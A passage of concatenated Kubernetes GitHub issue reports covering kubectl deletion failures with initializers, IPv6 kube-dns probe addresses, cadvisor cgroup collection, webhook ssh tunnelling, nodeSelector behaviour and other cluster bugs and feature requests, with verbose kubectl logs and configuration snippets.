     icmp,tcp:1-65535,udp:1-65535            gke-jenkins-e2e-f5fe4019-node      previous issues for this test:  33373  33416

we should like to be able to efficiently measure and report the disk space usage of emptydirs, maybe hostdirs, and any other volume types that are \ local\  and support it.  this would allow isolating pods with runaway disk usage and making good scheduling decisions.    docker issue https://github.com/docker/docker/issues/471 has a bunch of ideas on how to do that. also, @saad-ali just mentioned in  2630 that, with docker/libcontainer 322, docker containers now allow specifying additionalgroups.  this might also open up some possibilities around group quota.  falls under: https://github.com/googlecloudplatform/kubernetes/issues/442

some time ago we noticed that we're not getting data anymore and filed  42045 expecting it was an rbac issue. rbac has been fixed, but we still don't get resource usage data, which suggests that the regression is somewhere else.\r \r @kubernetes/sig-scalability-bugs @wojtek-t @shyamjvs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r upon code review, i don't see any unit test for checking kubeadm masterconfiguration defaults.\r \r   what you expected to happen  :\r there should be a unit test for checking kubeadm masterconfiguration defaults.\r \r   how to reproduce it  as minimally and precisely as possible   :\r code inspection.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : centos 7 virtualbox vms on a ubuntu 16.04.1 host\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 host, centos 6 guests\r - kernel  e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r    this is not a dup of  49035.   \r \r  kubectl  cannot delete resources of  deployment / replicaset / statefulset  when enabling  initializers . but works well for other kind of resources.\r \r   what you expected to happen  :\r successfully delete them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a deployment with initializer:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: web\r   labels:\r     run: web\r   initializers:\r     pending:\r     - name: podimage.initializer.com\r spec:\r   replicas: 5\r   selector:\r     matchlabels:\r       run: web\r   template:\r     metadata:\r       labels:\r         run: web\r     spec:\r       containers:\r       - image: nginx:1.10\r         name: web\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r then create using \r    shell\r $ kubectl create -f above.yaml\r    \r \r currently you cannot see it using  kubectl get deploy  before  50497 get merged   kubectl get deploy --include-unintialized  .\r \r but getting a single resource still works,\r    shell\r $ kubectl get deploy web\r name      desired   current   up-to-date   available   age\r web       5         0         0            0           1m\r    \r \r 2. delete the deployment\r \r    \r $ kubectl delete -v 10 deploy web\r i0823 17:41:35.870114   84221 loader.go:357  config loaded from file /users/xxx/.kube/config\r i0823 17:41:35.873297   84221 cached_discovery.go:119  returning cached discovery info from /users/xxx/.kube/cache/discovery/172.17.8.101/servergroups.json\r ...\r i0823 17:41:35.884925   84221 cached_discovery.go:119  returning cached discovery info from /users/xxx/.kube/cache/discovery/172.17.8.101/servergroups.json\r i0823 17:41:35.899609   84221 round_trippers.go:386  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.7.2  darwin/amd64  kubernetes/922a86c\  https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web\r i0823 17:41:35.916715   84221 round_trippers.go:405  get https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web 200 ok in 17 milliseconds\r i0823 17:41:35.916734   84221 round_trippers.go:411  response headers:\r i0823 17:41:35.916738   84221 round_trippers.go:414      content-type: application/json\r i0823 17:41:35.916742   84221 round_trippers.go:414      content-length: 1011\r i0823 17:41:35.916751   84221 round_trippers.go:414      date: wed, 23 aug 2017 09:41:35 gmt\r i0823 17:41:35.916778   84221 request.go:991  response body: {\ kind\ :\ deployment\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ web\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/extensions/v1beta1/namespaces/default/deployments/web\ ,\ uid\ :\ 2ece5dec-87e7-11e7-919e-080027b3b3af\ ,\ resourceversion\ :\ 88712\ ,\ generation\ :1,\ creationtimestamp\ :\ 2017-08-23t09:41:05z\ ,\ labels\ :{\ run\ :\ web\ },\ initializers\ :{\ pending\ : {\ name\ :\ podimage.initializer.com\ } }},\ spec\ :{\ replicas\ :5,\ selector\ :{\ matchlabels\ :{\ run\ :\ web\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ run\ :\ web\ }},\ spec\ :{\ containers\ : {\ name\ :\ web\ ,\ image\ :\ nginx:1.10\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ strategy\ :{\ type\ :\ rollingupdate\ ,\ rollingupdate\ :{\ maxunavailable\ :1,\ maxsurge\ :1}}},\ status\ :{}}\r i0823 17:41:35.920746   84221 request.go:991  request body: {\ kind\ :\ deployment\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ web\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/extensions/v1beta1/namespaces/default/deployments/web\ ,\ uid\ :\ 2ece5dec-87e7-11e7-919e-080027b3b3af\ ,\ resourceversion\ :\ 88712\ ,\ generation\ :1,\ creationtimestamp\ :\ 2017-08-23t09:41:05z\ ,\ labels\ :{\ run\ :\ web\ },\ initializers\ :{\ pending\ : {\ name\ :\ podimage.initializer.com\ } }},\ spec\ :{\ replicas\ :0,\ selector\ :{\ matchlabels\ :{\ run\ :\ web\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ run\ :\ web\ }},\ spec\ :{\ containers\ : {\ name\ :\ web\ ,\ image\ :\ nginx:1.10\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ strategy\ :{\ type\ :\ rollingupdate\ ,\ rollingupdate\ :{\ maxunavailable\ :1,\ maxsurge\ :1}},\ revisionhistorylimit\ :0,\ paused\ :true},\ status\ :{}}\r i0823 17:41:35.920827   84221 round_trippers.go:386  curl -k -v -xput  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: kubectl/v1.7.2  darwin/amd64  kubernetes/922a86c\  https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web\r i0823 17:41:35.924697   84221 round_trippers.go:405  put https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web 200 ok in 3 milliseconds\r i0823 17:41:35.924712   84221 round_trippers.go:411  response headers:\r i0823 17:41:35.924716   84221 round_trippers.go:414      content-type: application/json\r i0823 17:41:35.924719   84221 round_trippers.go:414      content-length: 1050\r i0823 17:41:35.924722   84221 round_trippers.go:414      date: wed, 23 aug 2017 09:41:35 gmt\r i0823 17:41:35.924743   84221 request.go:991  response body: {\ kind\ :\ deployment\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ web\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/extensions/v1beta1/namespaces/default/deployments/web\ ,\ uid\ :\ 2ece5dec-87e7-11e7-919e-080027b3b3af\ ,\ resourceversion\ :\ 88748\ ,\ generation\ :2,\ creationtimestamp\ :\ 2017-08-23t09:41:05z\ ,\ labels\ :{\ run\ :\ web\ },\ initializers\ :{\ pending\ : {\ name\ :\ podimage.initializer.com\ } }},\ spec\ :{\ replicas\ :0,\ selector\ :{\ matchlabels\ :{\ run\ :\ web\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ run\ :\ web\ }},\ spec\ :{\ containers\ : {\ name\ :\ web\ ,\ image\ :\ nginx:1.10\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ strategy\ :{\ type\ :\ rollingupdate\ ,\ rollingupdate\ :{\ maxunavailable\ :1,\ maxsurge\ :1}},\ revisionhistorylimit\ :0,\ paused\ :true},\ status\ :{}}\r i0823 17:41:36.926410   84221 round_trippers.go:386  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.7.2  darwin/amd64  kubernetes/922a86c\  https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web\r i0823 17:41:36.928309   84221 round_trippers.go:405  get https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web 200 ok in 1 milliseconds\r i0823 17:41:36.928324   84221 round_trippers.go:411  response headers:\r i0823 17:41:36.928327   84221 round_trippers.go:414      content-type: application/json\r i0823 17:41:36.928330   84221 round_trippers.go:414      content-length: 1050\r i0823 17:41:36.928332   84221 round_trippers.go:414      date: wed, 23 aug 2017 09:41:36 gmt\r i0823 17:41:36.928353   84221 request.go:991  response body: {\ kind\ :\ deployment\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ web\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/extensions/v1beta1/namespaces/default/deployments/web\ ,\ uid\ :\ 2ece5dec-87e7-11e7-919e-080027b3b3af\ ,\ resourceversion\ :\ 88748\ ,\ generation\ :2,\ creationtimestamp\ :\ 2017-08-23t09:41:05z\ ,\ labels\ :{\ run\ :\ web\ },\ initializers\ :{\ pending\ : {\ name\ :\ podimage.initializer.com\ } }},\ spec\ :{\ replicas\ :0,\ selector\ :{\ matchlabels\ :{\ run\ :\ web\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ run\ :\ web\ }},\ spec\ :{\ containers\ : {\ name\ :\ web\ ,\ image\ :\ nginx:1.10\ ,\ ports\ : {\ containerport\ :80,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ strategy\ :{\ type\ :\ rollingupdate\ ,\ rollingupdate\ :{\ maxunavailable\ :1,\ maxsurge\ :1}},\ revisionhistorylimit\ :0,\ paused\ :true},\ status\ :{}}\r    \r \r the deployment  web  cannot be deleted and the requests keep performing  get https://172.17.8.101/apis/extensions/v1beta1/namespaces/default/deployments/web . and the response body stays unchanged.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  /area ipv6\r  \r   what happened  :\r when a kubernetes cluster is instantiated in ipv6-only mode via kubeadm, using the latest master code base, then the kube-dns pod is restarted approximately every 2 minutes.\r \r examination of the kube-dns sidecar logs shows that in an ipv6-only cluster, the liveness probes used for kube-dns are set to use the server ip:port values of \ ::1:53\  and \ ::1:10053\ . these are invalid, and the correct ip:port strings should use brackets around the ipv6 address, e.g. \  ::1 :53\  and \  ::1 :10053\ . \r \r similarly, examination of the kube-dns deployment yaml configuration shows the liveness probes using ip:port values of \ ::1:53\  and \ ::1:10053\  rather than \  ::1 :53\  and \  ::1 :10053\ .\r \r   what you expected to happen  :\r the kube-dns pod should stay up indefinitely in an ipv6-only cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubernetes binaries and docker images built from the latest master. then start up an ipv6-only cluster using 'kubeadm init ...' with the following kubeadm configuration  where unifiedcontrolplaneimage points to the hyperkube image built from latest master :\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: 1.10.0\r api:\r   advertiseaddress: fd00::100\r networking:\r   servicesubnet: fd00:1234::/110\r unifiedcontrolplaneimage: diverdane/hyperkube-amd64:v1.9_code_freeze\r tokenttl: 0s\r nodename: kube-master\r    \r after the kubernetes master node comes up, you will see the kube-dns pod restarted every 2 minutes or so.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-alpha.0.633+02a7c12cbd0dd3-dirty  latest master \r - cloud provider or hardware configuration: virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r dns scrubber from kubelet has been removed in  36785 and cloudprovider's  scrubdns    interface is not used anywhere.\r \r   what you expected to happen  :\r \r remove unused interface.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  236a7af9f54dc174bc57  https://go.k8s.io/triage 236a7af9f54dc174bc57        error text:     error during go run /go/src/k8s.io/kubernetes/test/e2e_node/runner/remote/run_remote.go --cleanup --logtostderr --vmodule= =4 --ssh-env=gce --results-dir=/workspace/_artifacts --project=ubuntu-image-validation --zone=us-central1-f --ssh-user=prow --ssh-key=/workspace/.ssh/google_compute_engine --ginkgo-flags=--nodes=1 --focus=\ \\ serial\\ \  --skip=\ \\ flaky\\ |\\ benchmark\\ \  --test_args=--feature-gates=dynamickubeletconfig=true,kubeletconfigfile=true --generate-kubelet-config-file=true --test-timeout=3h0m0s --images=ubuntu-gke-1604-xenial-v20171215 --image-project=ubuntu-os-gke-cloud-devel: exit status 1           failure cluster statistics: 1 tests failed,    8 jobs failed,    71 builds failed. failure stats cover 1 day time range '13 jan 2018 03:01 utc' to '14 jan 2018 03:01 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | node tests | 8 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2enode-ubuntudev-k8sstable2-serial | 12 |  14 jan 2018 01:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntudev-k8sstable2-serial/2003  | | ci-kubernetes-e2enode-ubuntudev2-k8sbeta-serial | 12 |  14 jan 2018 01:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntudev2-k8sbeta-serial/297  | | ci-kubernetes-e2enode-ubuntustable1-k8sstable2-serial | 12 |  14 jan 2018 01:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntustable1-k8sstable2-serial/1841  |   current status  https://go.k8s.io/triage 236a7af9f54dc174bc57

we are getting the following error when the apiserver connects the webhook on localhost  configured via url . we should only use the ssl tunnel for the connections to nodes when the webhooks are running as services.\r \r    \r i0119 17:41:18.678436       1 ssh.go:400   4cdf44753cc3705d: localhost:10258  dialing...\r w0119 17:41:18.678483       1 ssh.go:424  ssh tunnel not found for address \ localhost\ , picking random node\r i0119 17:41:18.679810       1 ssh.go:402   4cdf44753cc3705d: localhost:10258  dialed in 1.398691ms.\r w0119 17:41:18.679928       1 admission.go:256  failed calling webhook, failing closed xxx: failed calling admission webhook \ xxx\ : post xxx: ssh: rejected: connect failed  connection refused \r i0119 17:41:18.680346       1 wrap.go:42  post /api/v1/namespaces/kube-system/pods:  5.725588ms  500\r    \r \r   /assign @yguo0905

see e.g. these:\r https://k8s-testgrid.appspot.com/sig-release-1.9-all kops-aws-1.9\r \r as well as those two cherrypicks:\r https://github.com/kubernetes/kubernetes/pull/60078\r https://github.com/kubernetes/kubernetes/pull/60077\r \r @kubernetes/sig-aws-misc @justinsb \r

  are we able while building custom kubeadm clusters to use a device as a master node in one cluster and a worker in another?

i am working on some code that need a dependency, which is already one of the vendors in kubernetes.   i fetch the latest version and manually copy it   to  kubernetes/vendor  to replace the older version.   for example,  kubernetes/vendor/github.com/foo  is the older version dep, what i did was i manually fetched the latest version to my gopath, and then copy&paste it to  kubernetes/vendor/github.com/foo  to replace the older one \r \r then, i typed  hack/run-in-gopath.sh hack/godep-save.sh  to save it. but, error happened:\r    \r !!! error in hack/godep-save.sh:72\r   error in hack/godep-save.sh:72. 'gopath=\ ${gopath}:$ pwd /staging\  godep save \ ${required_bins @ }\ ' exited with status 1\r call stack:\r   1: hack/godep-save.sh:72 main ... \r exiting with status 1\r !!!  0726 00:21:23  _tmp/godep-save.15578/vendor exists, restoring it\r !!!  0726 00:21:23  _tmp/godep-save.15578/godeps exists, restoring it\r !!! error in hack/run-in-gopath.sh:33\r   error in hack/run-in-gopath.sh:33. '\ ${@}\ ' exited with status 1\r call stack:\r   1: hack/run-in-gopath.sh:33 main ... \r exiting with status 1\r    \r please correct me if i missed some steps or did something wrong?\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r cadvisor should only collect the cgroups which kubelet needs. but it's collecting everything right now.\r i think the needed cgroups are  / ,  /system.slice/kubelet.service ,  /system.slice/docker.service ,  /kubepods/  . i maybe miss some cgroups.\r \r    \r i1123 14:20:53.504056    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-logind.service\                                                                                      \r i1123 14:20:53.508482    3874 container.go:464  start housekeeping for container \ /\                   \r i1123 14:20:53.509719    3874 container.go:464  start housekeeping for container \ /system.slice/irqbalance.service\                                                                                          \r i1123 14:20:53.509725    3874 container.go:464  start housekeeping for container \ /user.slice\         \r i1123 14:20:53.509729    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-journal-flush.service\                                                                               \r i1123 14:20:53.514295    3874 container.go:464  start housekeeping for container \ /system.slice/lvm2-lvmetad.service\                                                                                        \r i1123 14:20:53.514306    3874 container.go:464  start housekeeping for container \ /system.slice/crond.service\                                                                                               \r i1123 14:20:53.514311    3874 container.go:464  start housekeeping for container \ /system.slice/system-lvm2\\\\x2dpvscan.slice\                                                                                \r i1123 14:20:53.514316    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-vconsole-setup.service\                                                                              \r i1123 14:20:53.514321    3874 container.go:464  start housekeeping for container \ /system.slice/galaxy.service\                                                                                              \r i1123 14:20:53.518507    3874 container.go:464  start housekeeping for container \ /system.slice/flanneld.service\                                                                                            \r i1123 14:20:53.525557    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-udevd.service\                                                                                       \r i1123 14:20:53.525567    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-update-utmp.service\                                                                                 \r i1123 14:20:53.525571    3874 container.go:464  start housekeeping for container \ /system.slice/rhel-domainname.service\                                                                                     \r i1123 14:20:53.525574    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-tmpfiles-setup-dev.service\                                                                          \r i1123 14:20:53.525579    3874 container.go:464  start housekeeping for container \ /system.slice/kmod-static-nodes.service\                                                                                   i1123 14:20:53.525583    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-remount-fs.service\                                                                                  \r i1123 14:20:53.525588    3874 container.go:464  start housekeeping for container \ /system.slice/rhel-dmesg.service\                                                                                          i1123 14:20:53.525593    3874 container.go:464  start housekeeping for container \ /system.slice/kube-apiserver.service\                                                                                      \r i1123 14:20:53.525597    3874 container.go:464  start housekeeping for container \ /system.slice/postfix.service\                                                                                             i1123 14:20:53.529123    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-random-seed.service\                                                                                 \r i1123 14:20:53.529138    3874 container.go:464  start housekeeping for container \ /system.slice/networkmanager.service\                                                                                      i1123 14:20:53.567709    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-sysctl.service\                                                                                      \r i1123 14:20:53.567728    3874 container.go:464  start housekeeping for container \ /system.slice/kubelet.service\                                                                                             i1123 14:20:53.567732    3874 container.go:464  start housekeeping for container \ /system.slice/kube-controller-manager.service\                                                                             \r i1123 14:20:53.567737    3874 container.go:464  start housekeeping for container \ /system.slice/rc-local.service\                                                                                            i1123 14:20:53.567741    3874 container.go:464  start housekeeping for container \ /system.slice/etcd.service\                                                                                                \r i1123 14:20:53.567745    3874 container.go:464  start housekeeping for container \ /system.slice/system-selinux\\\\x2dpolicy\\\\x2dmigrate\\\\x2dlocal\\\\x2dchanges.slice\                                           i1123 14:20:53.567750    3874 container.go:464  start housekeeping for container \ /system.slice/docker.service\                                                                                              \r i1123 14:20:53.567754    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-tmpfiles-setup.service\                                                                              i1123 14:20:53.567757    3874 container.go:464  start housekeeping for container \ /system.slice/auditd.service\                                                                                              \r i1123 14:20:53.567761    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-fsck-root.service\                                                                                   \r i1123 14:20:53.567765    3874 container.go:464  start housekeeping for container \ /system.slice/lvm2-monitor.service\                                                                                        \r i1123 14:20:53.567768    3874 container.go:464  start housekeeping for container \ /system.slice/kube-scheduler.service\                                                                                      \r i1123 14:20:53.576752    3874 container.go:464  start housekeeping for container \ /system.slice/chronyd.service\ \r i1123 14:20:53.576783    3874 container.go:464  start housekeeping for container \ /system.slice/networkmanager-wait-online.service\ \r i1123 14:20:53.576788    3874 container.go:464  start housekeeping for container \ /system.slice/tuned.service\ \r i1123 14:20:53.576791    3874 container.go:464  start housekeeping for container \ /system.slice/gssproxy.service\ \r i1123 14:20:53.576795    3874 container.go:464  start housekeeping for container \ /system.slice/dbus.service\ \r i1123 14:20:53.576799    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-user-sessions.service\ \r i1123 14:20:53.576803    3874 container.go:464  start housekeeping for container \ /system.slice/systemd-journald.service\ \r i1123 14:20:53.576806    3874 container.go:464  start housekeeping for container \ /system.slice\ \r i1123 14:20:53.576810    3874 container.go:464  start housekeeping for container \ /system.slice/kube-proxy.service\ \r i1123 14:20:53.576814    3874 container.go:464  start housekeeping for container \ /system.slice/network.service\ \r i1123 14:20:53.576818    3874 container.go:464  start housekeeping for container \ /system.slice/sshd.service\ \r i1123 14:20:53.576821    3874 container.go:464  start housekeeping for container \ /system.slice/rpcbind.service\ \r \r    \r \r   why is this needed  :\r reduce cpu/memory usage of kubelet\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r using nodeselector in a daemonset \r    \r   template:\r     spec:\r       nodeselector:\r         node-role.kubernetes.io/master: \ true\ \r    \r having the label on the master node, runs fine.\r changing label during runtime to \r  node-role.kubernetes.io/master: \ \  \r will cause the pod on the respective master to be terminated, although the docu says:\r  the “ignoredduringexecution” part of the names means that, similar to how nodeselector works, if labels on a node change at runtime such that the affinity rules on a pod are no longer met, the pod will still continue to run on the node. \r https://v1-12.docs.kubernetes.io/docs/concepts/configuration/assign-pod-node/ node-affinity-beta-feature\r   what you expected to happen  :\r the pod to still continue to run, as specified in the docu\r   how to reproduce it  as minimally and precisely as possible   :\r 1. make sure label  node-role.kubernetes.io/master: \ true\   is on the nodes\r 2. create daemonset with:\r    \r   template:\r     spec:\r       nodeselector:\r         node-role.kubernetes.io/master: \ true\ \r    \r 3. change label on one node:\r   kubectl label node master01 --overwrite node-role.kubernetes.io/master= \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vmware\r - os  e.g. from /etc/os-release :\r  centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  : \r  linux master01 3.10.0-693.11.1.el7.x86_64  1 smp mon dec 4 23:52:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubespray\r \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r the container running permission under ubuntu system is always root.\r ! image  https://user-images.githubusercontent.com/22651579/58691899-e83fd380-83bf-11e9-8605-3ec9980ad448.png \r \r \r   what you expected to happen  :\r the container run permissions should be non-root.\r ! image  https://user-images.githubusercontent.com/22651579/58691810-a020b100-83bf-11e9-9a0d-b7ee28c3bbec.png \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r os: ubuntu 16.04\r docker-ce: 18.09.6\r kubernetes: v1.14.2\r \r run:\r    \r kubectl run sonarqube --image=sonarqube:7.6-community --rm -it --command bash\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.2\r - cloud provider or hardware configuration: \r - os  e.g:  cat /etc/os-release  : ubuntu 16.04\r - kernel  e.g.  uname -a  : \r - install tools: kubeadm v1.14.2\r - network plugin and version  if this is a network-related bug : flannel\r - others:\r

i am seeing frequent kubelet logs like this:      e1022 04:12:32.944300    3663 manager.go:1933  error running pod \ rand-local-1ia25_e2e-tests-job-mfyjr\  container \ c\ : exceeded maxtries, some processes might not have desired oom score e1022 04:13:02.773880    3663 manager.go:1933  error running pod \ rand-local-1ia25_e2e-tests-job-mfyjr\  container \ c\ : exceeded maxtries, some processes might not have desired oom score      i am running a cluster built from head on oct 19th.  i trigger the logs by running this e2e test repeatedly:      console $ e2e.test --host=\ https://104.197.70.187\  --provider=\ gce\  --ginkgo.v=true -ginkgo.dryrun=true --kubeconfig=\ $home/.kube/config\  --repo-root=\ $kubernetes_src_path\  -ginkgo.focus='job.should.run.a.job.to.completion.when.tasks.sometimes.fail.and.are.locally.restarted      then i look at the kubelet logs on my kubelets.  the  exceeded maxtries  string is from  pkg/util/oom/oom_linux.go .  i think the problem is that the container run by this test exits very quickly, and so by the time we get to run this code, there are no pids in the container.  would it make sense to detect when there are no pids in the container, and conclude that it has exited and not return an error?  or would there be a race waiting for it to start?  but doesn't that race already exist?

@mzupan reported that: even if we aren't using services with type=loadbalancer, we still require the describeloadbalancers permission  i believe so that we can delete any elb .  https://github.com/kubernetes/kubernetes/issues/22906 issuecomment-198941460

now that the docs are in kubernetes.github.io, i think it makes sense to move the mungedocs program and fix it up:  found here: https://github.com/kubernetes/kubernetes/tree/master/cmd/mungedocs   thoughts about where it should go? - new repo  kubernetes/mungedocs  - into kubernetes.github.io directly - into kubernetes/contrib. this is my least favorite of the options since contrib is currently a general purpose dumping ground.

